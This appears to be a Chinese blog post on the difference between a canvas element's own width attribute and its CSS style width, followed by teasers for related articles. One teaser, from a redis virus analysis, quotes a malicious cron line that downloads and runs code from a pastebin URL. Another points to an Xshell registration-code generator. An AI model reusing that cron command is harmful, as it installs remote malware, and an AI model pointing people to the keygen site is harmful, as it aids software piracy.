canvas里设置width和css里设置width和js里设置width的区别
canvas.width 和 它的style.width是不一样的:
canvas是个画布,有他自己的宽和高(默认是没有单位的纯数字),就是canvas.width和canvas.height的宽和高,
行间样式里如果你用vh和vw设置宽高,不好意思,不可以,统统按照px计算,
css里可以用vw,vh。但是,请记住,这里设置的是style.属性;
js里用带有单位的字符串比如vw和vh还有px,设置width和height,还是不好意思,不好使,
这样就不好使!!!
(style属性是表现在页面上的样式,不是canvas的本身的属性。一定要注意。随意设置style的宽高直接导致的结果就是画画变形变形变形)
好了,那么怎么做比较好?
我的做法是,要想自适应屏幕的大小。 可以在css里设置width(就是style.width )为vw单位的宽度;在js里获取它的width(canvas的属性) 然后赋值给 height。
canvas里设置width和css里设置width和js里设置width的区别的更多相关文章
- 【pyhon】Python里的字符串查找函数find和java,js里的indexOf相似,找到返回序号,找不到返回-1
# 例子: target='www.163.com' ')) ')==-1: print('263不存在于字符串'+target+'中') 运行: C:\Users\horn1\Desktop\pyt ...
- 遇到问题-----JS中设置window.location.href跳转无效(在a标签里或这form表单里)
问题情况 JS中设置window.location.href跳转无效 代码如下: ? 1 2 3 4 5 6 7 8 <script type="text/javascript&quo ...
- 设置图层符号风格为用已有mxd里的同名图层风格
//要加载的IFeatureClass IFeatureClass pFeatClass = dataset as IFeatureClass; //新建要加载到mxd文档中的图层 IFeatureL ...
- CSS中对图片(background)的一些设置心得总结
写网页的时候很多情况需要对图片进行操作,如何在不进行专业的美工裁切操作的情况下而让自己的素材度达到最大的满意度呢,这是一个问题,对于懒得开ps切图的我,通常会直接在网络上download一张图片,直接 ...
- js 批量设置css样式
在js中更换样式比较常见,但是批量设置比较少遇见: 但是在做就是插件时,不想额外的添加css文件(需要导入,还可能引起冲突),能批量设置就比较方便了. 以下代码是来自网上的三种方法,使用第二种最方便了 ...
- 网站图片列表动态显示、根据屏幕宽度动态设置DIV的CSS样式
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- CSS规范--春风十里不如写好CSS
先吟几句: 最近看了看春风十里不如你,本来很少看剧的,暑假有点闲就看了,感觉不错,挺喜欢这部剧,就套了个名字,嘿嘿嘿.剧里面印象深刻的是<致橡树>这首诗,念几句: 我如果爱你,绝不像攀援的 ...
- 每天一个JavaScript实例-展示设置和获取CSS样式设置
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content ...
- css基础(css书写 背景设置 标签分类 css特性)
css书写位置 行内式写法 <p style="color:red;" font-size:12px;></p> 外联式写法 <link re ...
随机推荐
- Tomcat 9.0 安装配置
本文转自:http://blog.sina.com.cn/s/blog_15126e2170102w5o8.html 一.JDK的安装与配置 1.从官网下载jdk,注意是jdk不是jre.最好从官网下 ...
- CentOS7 安装FastDFS分布式文件系统
CentOS7 安装FastDFS分布式文件系统 最近要用到fastDFS,所以自己研究了一下,在搭建FastDFS的过程中遇到过很多的问题,为了能帮忙到以后搭建FastDFS的同学,少走弯路,与大家 ...
- JSP简单练习-猜字母游戏
<!-- guessCharExample.jsp --> <%@ page contentType="text/html; charset=gb2312" %& ...
- [C#] 将NLog输出到RichTextBox,并在运行时动态修改日志级别过滤
作者: zyl910 一.缘由 NLog是一个很好用的日志类库.利用它,可以很方便的将日志输出到 调试器.文件 等目标,还支持输出到窗体界面中的RichTextBox等目标. 而且它还支持在运行时修改 ...
- vs2017 打开附带的localdb v13
查看自己本机装了哪些版本的localdb 打开数据库资源管理器 添加数据库连接 选择要连接的localdb版本,这里选择的是v13版本 添加数据库 新建一个test数据库 ...
- Spring Boot常见配置及错误
一.SpringBoot常见配置 (1)SpingBoot与MyBatis集成时跟踪SQL语句 log4j: logger: java: sql: ResultSet: TRACE (2)日志跟踪 d ...
- 使用protobuf编译onnx.proto过程中的一些问题总结
使用git clone下载protobuf的源代码,然后git checkout到branch2.7.0: 编译protobuf,先在代码顶层目录执行./configure,然后执行make,成功后执 ...
- Windows 10 替换 cmd 的命令行工具
最近找 Windows 10 的命令行工具,发现了 Windows 自带的 PowerShell ,确实功能强大.推荐. 查找方法:搜索,PowserShell, 打开就能用. https://www ...
- 记一次redis病毒分析笔记
起因 偶然间发现redis里有一个陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb| ...
- Xshell Plus
https://xshell.woytu.com 一个在线生成Xshell Plus 等软件的注册码的网址: https://xshell.spppx.org/